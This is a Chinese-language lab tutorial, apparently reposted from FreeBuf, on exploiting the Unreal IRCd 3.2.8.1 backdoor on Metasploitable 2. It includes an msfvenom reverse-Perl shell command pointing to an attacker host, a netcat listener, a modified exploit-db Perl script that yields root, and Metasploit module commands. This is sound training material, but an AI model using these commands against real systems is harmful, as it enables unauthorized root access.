Metasploitable 2系列教程:漏洞利用之Unreal IRCd 3.2.8.1

2016-10-31 09:51:07来源:作者:FreeBuf人点击

这篇文章中,将会介绍如何利用 Metasploitable 2 上 Unreal IRCd service 存在的漏洞;学习如何对网络服务进行枚举,及如何定义和检索关键信息;分析和使用 msfvenom 来生成 payload 。为了获取更多关于 Unreal IRCd 的信息,我们还将使用hexchat IRC 客户端,连接进入到 IRC 频道。

例如:有时我们使用 Nmap 无法获取到具体的版本号时,我们仍可以继续通过当前处理的信息,进行近一步的漏洞评估和发现。在这篇文章中,我们同样将通过,手动结合 metasploit 的方式进行漏洞的利用!

在之前枚举的那篇文章中,我们已经利用 Nmap 获取到了以下信息:

可以看到,有两个关于 Unreal IRCd 的开放端口,分别为 6667 和 6697 。

HexChat 连接 IRC Server

现在让我们通过 hexchat IRC 客户端,连接到 IRCd service 。如果你没有安装客户端,可以使用以下命令进行安装:

apt update && apt install -y hexchat

我们点击 add 按钮添加一个 network ,并命名为 Metasploitable 2。

接着我们点击 Edit 按钮,输入 Metasploitable 2 的 IP 地址,并使用 6667 端口。

关闭窗口并点击连接按钮,连接到 Metasploitable 2 的 IRC 服务。当一切信息都正确时,我们就能成功连接到 Unreal IRC service :

当我们进入了 IRC 频道,可以看到大量的信息显示给我们!如:主机名,配置信息和一些我们迫切想知道的:可以看到 Unreal IRC service 的版本为 Unreal 3.2.8.1 。我们可以利用该信息,来评估该版本是否为存在漏洞的版本及漏洞的利用。下面我们把获取的信息放到 searchsploit 和 exploit-db 里进行查询评估,看看这个版本的 Unreal IRC 是否存在可被利用的漏洞。

Unreal IRCD 3.2.8.1 漏洞评估 Searchsploit

我们在 kali 上使用如下命令:

searchsploit unreal ircd 3.2.8.1

我们可以看到,该版本的 Unreal IRCd 有 3 个可利用漏洞:

1.远程下载和执行 Perl 脚本木马。

2.后门漏洞可在 Metasploit 上利用的 Ruby exploit 。

3.本地溢出可造成DOS拒绝服务的 exploit ,但它只适用于 windows ,因此不适用我们的目标 Metasploitable 2 。

Exploit-db 查询

同样,我们使用相同的关键字 Unreal IRCD 3.2.8.1 来进行搜索,我们发现搜索的结果是相同的:

在本章教程中,我们将使用 Perl 脚本和 Metasploit 模块进行利用。让我们先从 Perl 脚本入手。

手动利用 Unreal IRCd

在接下来,我们将使用从 searchsploit 和 Exploit-db获取的 exploit ,来对 Unreal IRCd service 进行利用。

分析 Unreal IRCD 3.2.8.1 – Remote Downloader/Execute Trojan

在我们使用脚本进行漏洞利用之前,我们先对该脚本做个简单的分析。我们从包含有不同 payloads 的脚本第一部分开始。使用以下命令查看脚本内容:

cat /usr/share/exploitdb/platforms/linux/remote/13853.pl 代码分析 part 1

Payload1:使用 wget 下载和绑定一个 shell,并保存文件为bindshell,赋予其执行权限,并进行执行。由于我们看不到下载的 bindshell 文件,因此我们可以猜测,这个文件的 shell 被绑定在了目标机器上。

Payload 2:下载一个名为 bot 的文件,我们只能猜测它的选项到底是什么。

Payload 3:下载一个文件,并保存为 rshell 。设置正确的权限,并执行文件。我们只能猜测,下载的有效载荷是一个反向的 shell 。

Payload 4:停止 Unreal IRCD 服务。

Payload 5:从服务器上删除 Unreal IRCD 服务。让我们继续进行下一个代码块的分析,它是进行参数的检索及验证的,并打印其使用的相关信息在控制台上。

头 3 行设置了三个初始化为空的变量,分别为 host, port 和 type ,接着它们被分别赋予了变量值。下面开始判断这 3 个变量是否为空值,如果为空则执行 usage 函数。这将会退出脚本的执行,因为最后一行代码为 exit(1),即程序发生错误则退出执行。在使用说明中,我们可以看到,有 5 种不同的类型的 payload 可以用来利用这个漏洞。并且分别做了相应的号码排序。当我们仔细查看以上脚本内容,我们可以发现,类型 2 的 payload 和类型 3 的 payload 进行了切换。

代码分析 part 3

在这个代码块中对应的 payload 分别进行执行,类型 1 执行 payload 1, 类型 2 执行 payload 2 等。

修改 Unreal IRCD 3.2.8.1 exploit

既然我们无法控制下载的文件,也不知道文件的内容,那么我们就无法对该文件进行控制和操作。下面我将修改 payload 以取得有效控制,步骤如下:

1. 使用 msfvenom 生成一个 reverse shell payload。

2. 修改 exploit 代码。

3. 使用 Netcat 获取一个 reverse shell。

Reverse shell payload

当前的 Perl 脚本的一个主要缺点是,它依赖于成功的利用及执行 wget 命令才能成功下载。因此,如果 wget 命令不在目标主机上,则会利用失败。下面我将使用 msfvenom 生成一个 Perl 脚本的 payload 摆脱这种依赖和不可控性。命令如下:

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.100.108 LPORT=4444 -f raw

下面我们进行一个测试,将生成的 payload 移动到 Apache 站点目录下并执行:

我们使用 Netcat 进行侦听:

可以看到,成功取得了 receive shell 。

修改 Exploit

经过实验我们得知,我们生成的 paylaod 可以正常工作。下面我们将之前 Perl exploit 脚本拷贝至桌面,命令如下:

cp /usr/share/exploitdb/platforms/linux/remote/13853.pl /root/Desktop/13853.pl

我们用编辑器打开该 Perl 脚本,将 payload 1 修改成如下:

注意:在单引号位置,必须加上反斜杠进行转义!

执行 exploit

一切准备就绪,现在我们就可以在 Metasploitable 2 上执行 exploit 了。在正式执行之前,让我们使用 Netcat 启动一个侦听。命令如下:

nc -lvp 4444

执行 exploit:

perl 13853.pl [target IP][port]1

很快我们就在 Netcat 下获取了一个 reverse shell :

我们使用 id 命令,可以看到我们取得是 root 权限!

Metasploit 之 Unreal IRCD 3.2.8.1 漏洞利用

下面我们来使用 Metasploit 来进行 Unreal IRCD backdoor 的利用。我们启动 msfconsole ,并搜索 Unreal IRCD 相关利用模块:

search Unreal IRCD

使用选中模块:

use exploit/unix/irc/unreal_ircd_3281_backdoor

查看可用 payloads 并选择使用合适 payload:

show payloadsset payload cmd/unix/reverse_perl

查看并配置相关选项:

show optionsset rhost [target ip]set lhost [attackbox ip]

执行 exploit :

run

可以看到我们成功利用了该后门漏洞,并获取到了一个 root 权限的 shell 。

经验及教训

1.在渗透测试中,关于服务信息的枚举收集是非常重要的。

2.在利用代码前一定要学会分析代码。

3.永远不要相信你无法验证的 payloads,必要时应更换 payloads 。

*参考来源: hacking tutorials ,Secist编译,转载请注明来自FreeBuf(FreeBuf.COM)

最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台